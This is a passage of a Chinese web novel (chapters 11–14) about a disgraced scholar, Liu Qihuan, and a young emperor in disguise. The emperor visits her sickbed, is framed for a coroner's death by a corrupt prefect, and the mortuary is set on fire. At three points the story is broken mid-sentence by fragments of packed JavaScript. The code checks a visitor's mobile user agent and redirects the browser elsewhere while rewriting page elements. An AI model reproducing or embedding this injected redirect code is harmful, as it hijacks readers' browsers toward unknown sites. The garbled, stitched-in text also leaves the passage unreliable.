脚下的泥土里夹杂着一些谷类的碎壳,傅常懿踩了踩,想起来第一次遇见对方就是在舂米所,估计常与粮食工作打交道。 看守说对方这几日休假,应该在家。他尝试轻轻地推了推木门,发现推不动,锁着。 难道不在么? 他想了想,绕着茅屋转了一圈,忽见一侧窗户没有合严,他试着拉动,从窗沿内侧掉下来一根细长的支杆。 傅常懿弯腰捡起,一阵微风吹过,被里面飘出来一张纸盖住了脸。 他抓下来,发现不是宣纸,而是较为廉价的麻纸,触手粗糙而劣质,上有字迹,淡淡的石墨气味。 粗略浏览了一遍上面的内容,是状告本地陈员外家的儿子陈潘打死北司圜贱民杨连,以及其霸占良家女,侵吞良民地等一系列恶行。 纸张上的字迹娟秀工整,笔力却又兼具锋芒。行文简练,字字控诉,读下来令人气愤于被告的所作所为。 傅常懿诧异于竟然有人为贱民书写诉状,而且不像是一般的刀笔吏所写,用词更有水平。 正看着,视线下落到最后的落款,状告人一列中有好几个名字,最后是“齐欢”二字。 他正猜测这诉状莫不是臭小子写的,忽然屋里传出了一声极压抑的细微低吟。 他将状纸一卷,轻掀起窗户,向内看去。 只闻见一股苦涩的药味迎面扑来,而屋里也不是没人,柳齐欢正蜷缩成一团侧躺在炕上。 傅常懿略思索了一下,用手里的支杆撑住窗户,撩开衣袍下摆,长腿一伸跨过去,靴踩桌案,轻声进入屋内。 扫视屋内陈设简朴,灶膛冷灰未烧,看出是一人独居。 他看到门上的锁扣,构造机巧,研究了几眼放下,又转头看向炕上。 茅草铺底,上面只铺设一层半旧的床褥。对方窝在被子里,依然毫无所觉地昏睡着,没察觉出自己进来。 他没有弄出动静来,缓步上前,捏住被角。 手感很薄,有淡淡的稻草气息,不似那些赌徒贱民汗臭难闻,倒也还算干净。 柳齐欢的头发因睡了半宿微微蓬乱,额头有渗出的湿汗,一张脸素白无甚血色,眉头微微皱着,似乎很不舒服的样子。 脸颊边的右手瘦得血管微凸,半攥着拳头,手背掌心都有些擦破的痕迹,是采石场劳动留下的擦伤。 傅常懿细细打量她的面容,心道臭小子的长相尚可,当然相比起他来还是略逊一筹,有点男生女相,看久了还算顺眼。 他又一次尝试在记忆里翻找这张脸,但确实也没有什么明显的印象。 考虑许是之前中毒导致的记忆有损,想不起来,便懒得再想了,不如直接问,反正他这回是抱着结交的心态来。 毕竟天底下敢跟他爹对着干又没死的人,这臭小子算是头一个。 他正琢磨着要不要把对方叫起来,柳齐欢却忽然动了动,干裂起皮的嘴唇嗫嚅出声: “水……渴……” 11. 对着干 她蜷缩着身子,笼在被子里瘦小的一团。声音低哑而细微,仿佛喉咙干透了一般。 之前明明跟根长满刺的荆条似的,硬邦邦又扎人,这会儿昏睡过去,倒显得没那么尖利了。 傅常懿听了看守的话,本以为对方是装病,眼下看来确实是真病了。 他四下环顾,桌上只有一只装着凉水的粗制瓦罐和两三只泥土色的陶碗。 “什么破地方,连点热水都没有。” 柳齐欢又哼哼着出声要水,他于是捧起瓦罐倒了碗凉的,端着走到床边。 躺着也没法喝,这家伙病成这样,指不定被呛死。 他想了想,屈起一条腿,脚踩床沿,又伸出胳膊穿过柳齐欢的脖颈下方,抬起,用膝盖顶住她的后背作为支撑。 傅常懿没照顾过人,所以动作有些粗鲁。 他一只手端着碗递到对方的嘴边,一只手捏住其下巴,直接往她嘴里灌水。 碗沿轻磕牙齿,一小股液体顺着柳齐欢的嘴角淌下来,滴落于傅常懿的手掌,凉浸浸的。 他目测对方比自己小不了两岁,指腹捏着的下颌却光滑无须。 傅常懿未及细想,手中的碗突然被一股力道打翻,掉在了炕上。 没喝完的水悉数撒向被面,洇湿一小块。 柳齐欢不知道什么时候醒了,一睁眼看见他,吓得慌忙推开,后缩至墙边,抓起藏在床铺内侧用于防身的火钳。 “你怎么进来的!” 傅常懿冷不防被推了一把,后退半步才站住,一抬头就被火钳尖利的那头指着。 他微挑了下眉头:“醒了?” “你怎么在这!” 柳齐欢举着利器,满脸的警惕与防备。 她似乎是病得没什么力气了,握着火钳的手臂不受控制地微微颤抖。 傅常懿双手交叉抱着胳膊道:“你自己没锁好门窗,还问我怎么进来的?” 听到这话,柳齐欢瞥见对方身后被支开的窗户:“那你也不能进来,这是擅闯民宅!” “是你自己张嘴要水喝,我才进来!” 傅常懿本来不想跟她一般见识,但见其一副把自己当贼似的表情,不悦道:“要不是看你病得快死了,本公子才懒得踏足这破地方!” 柳齐欢不信对方的话,视线飞速梭罗一圈,好在除被子被水泼湿外,自己衣着还算整齐,并无其他异常。 她稍微安下心,可又怕对方发现自己的身份,依然握紧手里的武器。 “出去。” “臭小子!本公子好心给你喂水喝,你不感谢就算了,还叫我出去?” 傅常懿向来喜欢跟人对着干,当即拉过条凳,一屁股坐下:“本公子还就不出去了,你奈我何?” 柳齐欢柳眉倒竖:“这里是我家!” “这里还是爷的地盘呢!” 她语气冲,傅常懿的语气更冲,两个人针尖对麦芒地互瞪。 后者把原本准备来结交的想法全抛脑后去了,以前当淮南王世子时的浪荡脾气上来,偏要看看到底是对方的骨头硬,还是自己的气势硬。 柳齐欢本就生着病,见他摆出这副无赖样,情绪一激动,还没张口就开始咳嗽。 她急忙捂住嘴巴,却压不住剧烈地嗽声。 傅常懿见火钳脱了手,立马伸脚把掉在地上的利器踢到一边。 柳齐欢几乎把肺都要咳出来,持续了好半天才止息。 因为缺氧,她脑袋嗡嗡直响,浑身无力地背靠后墙。 面前递过来一碗水。 她懒得抬眼,也没力气动弹,向旁边撇开脸。 傅常懿冷哼一声,放下碗:“你真是个硬骨头。” 搁在草席的碗中水随着柳齐欢的一呼一吸,颤出几道波纹,里面有些许沉底的杂质,贱民连完全干净的水都喝不到。 她额间的薄汗微湿,几缕发丝贴在脸上,双目无神,眼角残余着淡红。 “你到底想做什么?” 她不明白面前人的举动,也不清楚对方来此的意图。对于这类性情怪异又反复的纨绔,她是一点都不想招惹。 “你缘何被贬为贱民?” “……你来这里,就是为了问这个?”柳齐欢不答反问。 傅常懿瞧着她:“不只是为此,你上次说看守所言不真,那我倒要听听真话了。” “……我为何要告诉你。” 她拒绝回答,面前人倒是笑起来。 “先帝铁腕统治,重刑苛政,庚午年舞弊一案,牵连数人被下诏狱。就算后来查明真相,死罪免除,活罪却难逃,涉案之犯皆被判处了充军流放之刑,你也被贬为贱籍沦落至此。本公子以上所说,是也不是?“ 柳齐欢听着,指尖紧张地勾住了衣角,面上却保持着平静:“既然你都调查清楚了,又何必问我。” 傅常懿继续道:“可这案子怪就怪在,那些充军流放的人都死在了途中,唯有你独独被贬了贱籍,反而逃出生天。不知是你命硬呢,还是内有隐情?本公子实在好奇。” “……你到底是什么人?为何要探查这些?你到底有何目的?” 她的视线落在他的脸上,带着审视与戒备。 “倒也不必用这种眼神看我,本公子只是随便问问罢了。”傅常懿见她终于肯正视自己,似笑非笑,“还以为你天不怕地不怕,原来竟然怕被查。” 他方才看了对方写的诉状,心中愈发好奇。 这小子曾念过书且有文采,高中过探花却又耐得住贱民的身份,举手投足并无市侩气,十有八九应是出自钟鸣鼎食之家,亦或诗书簪缨之族,然而身世来历却一概无踪无际。 最重要的是,此人能从冷血残忍的父皇手中活下来,其中一定有什么原因。 傅常懿眼神中流露出探究,柳齐欢觉察到这一点,余光瞥向距离不远的锅台。 上面有把菜刀。 她推测不出对方的意图,但若是追查到柳氏一族的头上,或者他与当年之事的幕后黑手有关…… 柳齐欢沉默不语,身子向锅台的方向偏了偏。 然而,傅常懿却并没有如她所想的那般,继续盘问先前的问题,而是站起身走到窗边,转了话题。 “你是状师?” 她不知道对方刚才已经看过了一遍,见他伸手去拿桌案上那卷诉状,忙道:“别动。” 傅常懿转过脸来,唇边挂着一丝不屑:“替贱民告状,你算是我见过的头一个。没读过大梁律法么,贱籍也敢告望族?” “我告我的,与你何干。” “我是见你也算有几分才华,好心奉劝你。都泥菩萨过江自身难保的人了,还要做这些无用功夫,小心把命给丢了。” 他这言论与卫敬启的意思差不多。 “杨家儿子蒙冤惨死,我们只是想要向施暴者讨回公道。” “天真!”傅常懿嗤笑,“自我朝立法以来,天下百姓就分良贱。凡为贱籍,不得报捐,不得科举,不得随意告官。你看我惩罚你,可有人来为你讨回公道吗?” 柳齐欢心知他这种一看就是锦衣玉食众星捧月长大的公子哥,天性对贱民身份持有轻慢的眼光,懒得跟他掰扯。 傅常懿见其不作声,又道:“所谓无利不起早,你做这些莫不是沽名钓誉,想要博个好名声,借机攀附权贵摆脱贱籍?那你不如三跪九拜求求本公子,说不定我一高兴就能帮你脱籍……” 这些话语落入耳中,分明是戏耍之意。 她怒道:“出去!” “嗄?” 傅常懿没等说完,忽见迎头一把菜刀丢过来,吓得他慌忙躲开。 利刃擦着他飘逸的袍角,“唰”地直插进地砖缝,利落干脆,没有一丝犹豫。 柳齐欢不知何时已经从炕上爬起来,捞起火钳,强撑着精神再度指向他。 险险躲过去刀劈,却又被抵住了喉间,傅常懿僵硬住。 “臭小子,你来真的!” “出、去。” 她冷着脸,一字一顿,只差没说出“滚”字。 “……出去就出去,以为本公子稀罕这破庙!” 傅常懿一甩袖子拔腿便走,可屋门被那把奇怪的锁栓锁着。 他一双丹凤眼斜过去:“开门。” “哪来的,从哪出。” 柳齐欢没好脸色地晃了晃手里的武器威胁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189735|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指向窗户。 傅常懿只好复又饶回来,推开桌案,抬手顶住窗扇,一条腿跨到外面,拧过头道: “病秧子,再警告你一句,那陈家人横行帝京,你这诉状绝对赢不了!” 赶在火钳扔过来之前,他敏捷地收回另一条腿,翻下窗去。 “有病!” 柳齐欢骂了一句,撂下火钳,下床把窗户锁严。 傅常懿离开了茅屋,走出几步后,停住回头。 他脸上的表情收敛了桀骜不驯,目光沉下来,整个人的气质都像是变了一个人。 刚刚的试探,得出的结果,倒是对应了他心中的猜想。 齐欢这人绝非等闲之辈,与平日里那些惯常在自己面前作表面功夫的官员不同。为贱民申冤之举似真,并非当面一套,背后一套。 正思索着眼下二人交恶的现状,侍从寻至,打断了他。 “陛下,张武翁大人邀请您前往梨园一会。” ……左丞相这是跟踪自己,还是早就知晓自己出宫来此? 傅常懿有点头疼,这老臣身兼太傅一职,最爱念叨,在宫里就天天讲什么“明主治国”那一套,本以为出宫能躲上一阵子呢! 考虑到对方要是见不着自己,回宫之后的谏章更要叠成山,他决定还是应邀。 …… 另一边。 柳齐欢撵走了傅常懿后,将剩下的药材勉强熬了一碗喝,压制身体的不适。接着,齐鸿按照约定的时辰来找她,二人带上新修的诉状,一道去拜见杨母。 杨大娘是个寡居的妇人,丈夫死得早,独自拉扯着一双儿女长大。大女儿嫁去了外省,无法常回帝京,膝下只有小儿子杨连陪伴。 杨连性情憨厚,为人较为胆小,在北司圜本来做着运送木材的活计,安安稳稳,从没有跟人红过脸,吵过架。 谁曾想撞上那陈员外家的独生子陈潘,被当成耍物,隔三差五欺辱戏弄。 杨连被折磨得忍无可忍,反抗了几句,就被他们给打成重伤,又因看守收了贿赂阻拦就医,最后伤重而死。 杨母申冤不成,伤心至极,一下子病倒,至今未能痊愈。 柳齐欢知道这件事后,除了接手重撰诉状,还本想出钱让杨连入土为安,但杨母身体不好,无法发丧,加上对方执意要验尸留证,故而尸体到现在还停放在义庄。 “也是巧合,那仵作原是杨大娘的旧相识,前些日子落脚的功夫帮她验了杨连的伤势死因,留了验尸的单子。今儿个,估摸着也应该办完私事回来了。” 齐鸿爱到处跑,消息灵通,在路上就将打听来的情况都告诉了柳齐欢。 他见对方一脸心事重重的样子,问道:“话说,大哥你为什么要找这个仵作?” 柳齐欢看他一眼,抿紧了唇。 当初,托着卫家查案的缘故,又得卫敬启施以援手,自己才活下来。她那时候,满心都是痛苦,一再追问对方清不清楚柳稷安的尸首在哪里。 可惜他也不知情,毕竟“清君侧”不是普通的争斗。直到事件平息很久后,才帮着打听出一点内幕,得知有这么个仵作曾经手过兄长的尸体。 卫敬启警告过柳齐欢不要再查这件事,以防被幕后之人发现,对她不利。 但是,齐欢根本无法释怀,还是想要找到仵作,亲自问问兄长缘何而死,为什么没有尸身,“罪臣录”是不是另有隐情。 她隐隐约约觉得,仵作一定了解个中经过。不然,为何当年之事后,就匆匆逃离了帝京这处是非地? 只不过…… 柳齐欢注视着齐鸿,对方还望着她,眼神中有担忧。 “鸿儿,谢谢你帮我找人。不过,以后就不要再干预进我的事情,太危险。” 她当初无意中提起一直在寻找家中惨案的知情者,没想到齐鸿上了心,竟真找到了仵作。 “我才不怕危险,你的事就是我的事!” 柳齐欢见他又不听劝,耐心道:“这不是闹着玩的,你要听话……” 还没说完,就听前方路上有人唤他们两个。 她定睛一看,却是本应在家等着他们的杨母,撑着拐棍迎面赶过来,神情急切。 12. 惹命案 柳齐欢和齐鸿,随杨母一同到了仵作居住的草房。 人不在家,但是门窗没有锁,屋子里面一看就是临时落脚的布置,十分简单。 “李仵作先前跟我约定,今儿个办完事得空。就清早出门跟他打了个照面,结果都一天了,人还没回来,就想着先跟你们去说说……” 杨大娘蹒跚着步子,脸色焦急地迎上他俩。 “杨大娘,您身子不好,就别陪着我们一块儿找了。”柳齐欢连忙扶住她。 齐鸿也劝道:“是啊,杨大娘你先回去吧,我们自己去其他地界找找。” 杨大娘颤巍巍地拉着她的手,双眼因为哭儿子哭多了,看不太清事儿,只能虚虚地望着人。 “孩子啊,我寻思他说不定就在附近了。咱们贱民所要是外出,都得逢年过节的例日子或者要牌子,他那牌子也就管两三日的功夫。” 柳齐欢点头:“嗯嗯,我知道的。大娘您先慢点回去,我和鸿儿去寻。等晚点到您家去汇合,说不定那人也就回来了。” 杨母于是将仵作的外形及衣着特征告诉他俩,三个人议定,无论找不找得到,一个时辰以后在杨家会面,接着便分头行动。 柳齐欢脚步匆匆往正大门去。 为了避免不必要的麻烦,她之前较少离开北司圜,毕竟进出不便。但所谓一回生两回熟,上次学会了趁守门侍卫换班的间隙找机会。 她灵活地避开巡逻队伍,攀过围墙出去。 寻了不多时,傍晚的落日滑下山头,满空殷红色的晚霞燃尽,天色也跟着昏暗下来。 贱民所一墙之隔,就是两个世界,到了夜晚更甚。 眼见着平民百姓忙碌了一天归家,家家户户掌灯,柳齐欢穿梭其中,心中不由得涌起股难言的孤寂。 羡慕地抬眼看了一瞬那些团圆人家,便垂下眸子,不再去看。 步行至一处街口,长路无人,僻静得很,唯有幽幽怨怨婉转缠绵的戏曲唱腔,从梨园内浮飘出来。 她撞上了骚乱。 距离不远的胡同尽头,梨园旁边的酒楼门口,正聚集着一群人,吵吵嚷嚷。 柳齐欢脚步放轻,左右瞄着无人,忙躲到梨园门口堆着的一些杂物之后,暂且悄悄地观察前方的动静。 酒楼灯火通明,却没有客人,影影绰绰的光线映照着门口地上横躺着个人。 应该是一具尸体,没有呼吸起伏。 黑布盘头,五短身材,身下所压的砖石,表面湿淋淋的,满是鲜血。 尸体通身的打扮,与杨母所说的仵作形貌十分相似。 柳齐欢心惊,往杂物堆里藏了藏,集中精神探听。 四周没有行人,估计是远远瞧见这边的情况都绕道走了。她离得不算远,所以听得清楚那群人之间的对话。 “你们凭什么抓我!” “抓的就是你,杀人犯!” “我没杀人!放手!” 争吵的声音落入耳中,其中一道非常熟悉。 柳齐欢稍稍眯起眼睛,看清了中间被左右押解着的男子。 明黄衣袍,玄色外氅,乌发半束,神态举止锋芒毕露。 ……常懿? 她惊讶于对方竟然在此,目光撇向旁边的几人,都统一差服,腰挂佩刀,似乎是帝京府衙门里的捕快。 “你就是常懿?有人告你寻衅滋事,醉酒行凶,涉嫌命案!跟我们走一趟吧!” 傅常懿的胳膊被两柄捕快的佩刀叉住,动弹不得,一听对方这话,气不打一处来: “血口喷人!这家伙突然从天上掉下来,连我都吓了一跳!谁诬告,叫他滚出来!” 为首的捕快不屑地哼笑:“谁说是诬告?眼下抓了现形,还敢抵赖?命案现场可就只有你一个!” “谁在现场,人就是谁杀的?这什么道理!” 傅常懿虽然有些醉态,却仍然保持着冷静反驳:“告本公子行凶,你给我拿出证据!” 他前来梨园赴约,前脚挨了左丞相一顿唠里唠叨的耳提面命,后脚就遇上这档子倒霉事。 本来派随身小太监好不容易送走了那尊大佛,便想着来旁边这家酒楼吃饭躲个清静。 赶巧里头请了卖艺的,他打赏了两锭银子,独酌听曲儿,不知不觉就到了打烊的时辰。 本打算步行回客栈,顺便路上醒醒酒。谁曾想,刚下楼就天降一具死尸,不仅差点砸到他,还溅了他一身的血。 傅常懿被吓跑了醉意,偏又碰上一群巡街的捕快,不问青红皂白就上来拿他。 捕快头子见其反抗,嘴脸凶狠:“你一个杀人凶手,还敢问我们要证据?” “没凭没据,你们有什么资格抓人!” “就凭你一身的酒气,深更半夜在外游荡,又在命案现场!”那捕快骂骂咧咧地不耐烦,“不然,这人还能是凭空死了的不成,休得抵赖!” “胡说八道!说不定他是自杀!” “是不是自杀,见了官自然见分晓!” 捕快欲硬拽走傅常懿,他拼力抵抗,朝向酒楼老板道:“你快给证明,此事与我无关!” 老板早就被死尸给唬住,此时才哆哆嗦嗦地回话:“各、各位大人,常公子确实是包了我们二楼的雅间喝酒,小二们上完菜后也没敢打扰,所以雅间里发生了什么,我真的一概不知!什么都不知道啊!” “那他是自己一个人喝酒,还是有其他的人一起?” “这,这,小的们真没注意,一开始确实是一个人……”酒楼老板结结巴巴。 傅常懿道:“听清楚了吗,从头到尾就我一人!” 捕快头子打断老板的话,语带威胁:“近日帝京命案频发,朝廷下了通缉令,宁肯错杀一千,不得放过一个!管你一个人还是两个人喝酒,必须跟我们走一趟!” 说完,他大手一挥:“给我把酒楼也封了!” 其他手下一听,立马一股脑儿上去锁门贴封条。 见状,酒楼老板张皇失措,一边喊着“别封,别封”,一边忙声央求:“大人,我是规规矩矩的良民,从来没违过法啊!这死人可不管我们酒楼的事!求求您千万别封我的店啊,我还得做生意呢!” “哼,封店抓人,例行公务,哪里轮得到你插嘴!再多言,老子连你也抓起来!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189736|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 捕快不再废话,叫手下拿来枷锁绳子。 傅常懿脸色愠怒:“你们可知我是谁?!” “老子管你是什么东西!杀人偿命天经地义!” 捕快头子粗暴地揪住他的衣领,几人七手八脚压制,给他强行套上枷锁,又拿绳子捆了双手:“跟我去见官!” 傅常懿挣扎半天,奈何脱不开身,怒极反笑:“行啊,见官就见官,让府衙那蠢货知府认认我是谁!” “他娘的,你还敢辱骂朝廷命官!”捕快头子把手帕团了团,掰开他的嘴塞进去堵住,“再妄言,先把你抓进大狱滚两遍酷刑!” 柳齐欢蹲在杂物堆后,默默观察了许久。 眼下见捕快头子伙同三名手下把傅常懿带走,又派剩下二人把尸体抬往义庄,沿着两条路分别离开。她面露思索。 虎落平阳被犬欺,就算是横行霸道惯了的纨绔公子,只身在外,遇上对方人多势众也只有干瞪眼的份儿。 更何况,常懿这人的脑子看起来也不好使。 当局者迷,旁观者清。她瞧着事情经过,总觉得有点蹊跷,尤其是仵作的死…… 柳齐欢正琢磨着怪异之处,后背忽然被人轻轻一拍。 她神经一跳,吓得捂住嘴忙回头看,却见是齐鸿。 “嘘!是我!” 他不知道何时出现在了身后,跟着蹲下来,小声道:“怎么躲在这里,找到人了吗?” 柳齐欢瞥一眼走远的那两拨人,定了定神:“找到了。” 齐鸿顺着她的目光看过去,疑惑道:“怎么回事?仵作被人抓走了?” “不是……” 柳齐欢摇头,想了想,与他耳语几句。 齐鸿眨眨眼睛:“好,我知道了,我这就去。” “小心,务必稳妥。” 嘱咐完他,柳齐欢看着对方离开,随后自己也起身,沿着通往义庄的那条路,跟上去。 两个捕快抬着仵作是尸体,很快就到了义庄。 灰黄色的一座两进建筑,距离北司圜的距离不远,孤零零的矗立。 屋上挂牌匾,门口排布着黛黑刻字的石碑,几条白惨惨的经幡被寒风吹得飞舞,显得格外的阴。 庄内的祭台上点着长明灯,停了几口棺材。室内燃香的味道浓郁刺鼻,用以掩盖臭气。 两个捕快捂着鼻子,手脚麻利地将仵作的尸体抬到一张木板床上放下,接着就关上门一道离开。 柳齐欢见他们走了,贴着墙壁溜进来。她脚步放得极轻,警惕地注意着周围。 停尸房内的气味不好闻,她略皱着眉头,走到尸体的旁边。 仵作面容安详,紧闭着双眼,脸色是死人的灰白,半张着口,嘴唇泛青。 他身上没有明显的外伤,盘头的布条浸透,因为后脑勺着地流了许多的血。 看起来确实像是高处坠亡的死状。 柳齐欢仔细检查尸体,在触碰到对方外露的手腕时,察觉到了不对。 皮肉的僵硬程度,明显不是刚刚死亡,而且…… 她脸色凝重,欲要再细查看,突然门外传来一阵脚步声。 13. 卜世仁 门外晃动着人影,伴随着杂声和光亮。 柳齐欢立刻蹲下身,见旁边祭台摆桌蒙着一层围挡用的黑布,顺势就地滚进去藏起来。 她趴在桌台下方,小心地掀起一点布帘,向外观察。 来人不止一个,隔着门窗有火焰跳动的光透入。 “赶紧把火油绕着洒一圈,快点快点!” “稻草多铺,木柴散开放!去去,别挡着火!” 手持火把的那个人没有开门进来,而是低声指挥着其他人。 柳齐欢的心提起来,有种不祥的预感,但她不敢轻举妄动。 “老赵,头儿抓住的那个常公子是什么来头啊?我瞧着他那样儿,似乎不像是单单有钱的富家公子……” 说这话的是方才抬尸体捕快中的一个,压着嗓子打听。 “操那些闲心干什么!”拿火把的人冲他呵斥一声,“咱们受人之命,收钱办事,办得干净利落不就成了,管他什么来头!” “哎呦,我就是不太踏实么!这小子瞧着挺富贵的主,也不知道是得罪了什么人,竟然往死里陷害,咱们别惹上什么不能惹的人吧?” “你怕了?胆小鬼!有那位大人撑腰,这点事算个屁呀!少废话,快干活去!” 说着,外头传来扑扑的钝声。 “哎,老赵你别踢我,火油差点撒了!主要是头儿也不跟咱们细说,就光让咱们来烧了义庄。我问两句,也是为了安安心嘛,我可不想惹官司……” “个懒货,真啰嗦!这事办好了,头儿还能少赏了你的?” “哎,是这个理……不过,里面那个仵作真的是被……” 问的人嘟嘟囔囔,后面的话没说出来,抬手做了个抹脖子的动作,话语间带着疑问。 叫“老赵”那人鼻孔哼出一气儿:“他杀没杀人,不就是老爷一句话的事儿?直接下大狱钉板床上滚两圈,就不信他不死!” 对方语气发狠,柳齐欢听得后背不由得渗出一层冷汗。 若是被这群人发现自己在此偷听,恐怕就危险了。 她不动声色地往后挪了挪,愈发谨慎。 那俩人又聊了几句后,外头似乎布置完毕,动静小了。 随着一阵脚步声的撤退,火把丢出,“砰”地撞上屋门,掉下来顿时引燃了一片稻草。 深夜无声,满城皆在睡梦中。 此处偏僻,附近无居所,加上又是蓄意纵火,并无人发现异状。 木头灼烧裂开,噼啪炸响。 浓烟滚滚而起,从门缝漏进来,柳齐欢连忙用衣袖捂住口鼻。 不多时,火苗便顺着屋外的一圈油渍迅速蔓延开来。 义庄火光冲天。 …… 帝京府衙门。 傅常懿肩扛木枷,双手捆住,被捕快带进府衙。 但是他们并没有进正堂,而是绕去了后面的一间屋子。 后堂屋内,装饰琳琅。黄杨木桌椅,摆着官窑瓷器,正中一把太师椅,背靠一座名贵的红珊瑚雕,墙挂名家千里骏马图。 知府卜世仁迈着八字步从内间慢悠悠地钻出来,瞧见捕快逮了人来,面露喜色。 “人抓着了?办得不错!” 他是个三十多岁的矮胖子,眯缝眼,肉鼻子,还有两撇八字胡,浑身透着股萎靡气。 傅常懿脸黑的像锅底。 他想起来了,这个不长眼的家伙是上个月刚从外省调进来的官员,卜世仁。 因为自己近段日子一直没怎么上朝,因而没打过照面。只是上回听孙德升汇报吏部奏折的时候提到过,新任帝京知府已到任。 他素日把政务统统丢给六部自理,没想到居然提拔了这么个东西! 他气得欲踹对方一脚,还没碰到人,就被捕快一把拽住,按坐到椅子上。 “老实点!” 傅常懿冷眼如刀,恨不得将对方千刀万剐。 他从来都是众星捧月,任性妄为,何曾吃过瘪,今日却一路倒霉透顶。 但到底是九五之尊,虽年轻,真发怒起来,只一个眼神就气势逼人。 这会儿在亮处,捕快头子看清了傅常懿冷厉的神情。 他心脏突突了两下,有点慌张,按住对方肩膀的手猛然松了力,缩回来。 知府没注意到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189737|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段机锋,捋着八字胡,绕着傅常懿转了一圈,上下三路打量,随后挥手:“你们先下去。” 除了亲信师爷留下,其余闲杂人等悉皆屏退,屋内只剩三人。 知府拽下他的嘴里的口巾:“你可真让我好找啊!” 傅常懿本想声明身份,听到这句话,要出口的话顿住,脸色阴寒:“看来你清楚我是谁?” 对方笑面虎:“自然清楚,你既是仗势欺人又恶意聚集贱民的纨绔公子,更是近日横行帝京,制造命案的杀人凶手!” “胡说!我什么时候做过这些!” “哼,前日在北司圜私自处罚贱民采石,又欺辱孤儿的人,不是你?这几个月聚赌斗殴引发贱民骚乱的人,不是你?” 卜知府坐到正中太师椅上,一口道出傅常懿近期在北司圜的所作所为。 京府衙门设三班六房,统管帝京政令、粮税、巡捕、缉盗、户籍等一应大小事宜,无论是贱民所的差役还是管事者均直属其管辖。 傅常懿虽无心政务,但也通晓上下情况,清楚对方想要查这点事也很容易。 他拿出皇帝的架势来,面色冷傲:“就算本公子做过又如何,没做过又如何?这些根本够不上罪名,轮得到你来拿我?” 肩上的木枷晃动了一下,两半枷锁撞击得邦邦响。 “更何况,我若整日在贱民所聚赌,又与近日频发的命案有何关系?!”他抓着对方话里的漏洞质问。 一个人不可能分身两处,卫昶和孙德升汇报查案进度时所提到的命案发生时间,他明明都在吉祥楼之类的地方吃喝玩乐,哪有机会杀人? 卜知府听了这番的诘问,并没有立刻回答,而是端起茶碗呷了一口,才慢悠悠道: “有没有关系,自然是本官说了算。” 傅常懿见他没有被问住,察觉出来对方话里有话:“你想抓我顶罪?” “你倒算个聪明人!” 卜知府哼哼道:“朝廷要抓犯案的凶手,催得那叫一个急呀,可死得都是些平头百姓,本官哪有闲工夫去查什么狗屁流民?还不够费事的!你小子也是‘运气好’,正撞上这个缺儿!” 14. 鸣冤鼓 “你没有罪证,如何判我的罪!” 傅常懿听出他的意思,这是要拿自己当杀人的案犯交上去,应付刑部的查案压力。 “罪证?本官金口玉言,那比皇帝的话还好使!” 卜知府挤着绿豆芝麻眼,笑里藏刀:“你私自聚赌,谋财害命,杀了一干人后,今日又吃酒行凶,被本官当场抓到,下了囚牢大刑伺候,最终招供犯罪事实!你说,这罪名充不充足?” 傅常懿道:“伪造罪行,严刑逼供。你不怕我告予三司,让你吃不了兜着走!” 卜世仁和师爷对视一眼,双双大笑。 后者幸灾乐祸道:“常公子可真是少年不识世间险恶,你以为你还能活得了么?您娇生惯养的,恐怕这辈子都没有见过诏狱吧?知不知道大刑伺候是何种下场?” 傅常懿咬住后槽牙:“你敢杀我!” 师爷道:“怎么不敢?整个帝京,除了皇帝,就是我们老爷说了算!不然我何必跟你多说!” 卜知府嘲讽:“本官大发慈悲,让你临死之前做个明白鬼!还不赶紧跪谢,嗄?” 二人得意洋洋,狼狈为奸,十足的小人嘴脸。 傅常懿看明白这两个家伙是完全不晓得自己的身份,怒道:“卜世仁,你有眼无珠!朕就是皇帝!” 谁知他说完这句,两个人更是大肆嘲笑。 “真是笑掉大牙!”卜知府一拍桌子,“冒充圣上,你也配?你也敢?” “朕是真龙天子!”傅常懿被气得胸腔一起一伏,“普天之下谁敢冒充!” “尔等乱贼什么事不敢做!你说自己是就是,有本事拿出证据来啊?” 师爷两只手摊开,拍打两下,满脸地轻蔑: “每年装疯卖傻,假冒圣上微服私访,被扭送至衙门里的人,没有十个也有八个!人家还能拿出个假玉玺假圣旨假随从的行头来呢!你当我们好糊弄?” 傅常懿瞪他:“可以叫人来认!” 卜知府好不容易止住笑,这下子又憋不住乐起来:“呵,还想找同伙来?笑话,本官哪有闲功夫跟你在这弄鬼!” “再说了,就算是皇帝来了又如何!落草的凤凰不如鸡,落到了我的手里,就是天王老子也得跪地求饶!何况你现在光杆一个,能怎么样?这会子本官就是一刀杀了你,也没人知晓!更不用说,你还是个案犯!” 卜世仁态度狂妄无边,一通话下来,傅常懿已经明白了八九分。 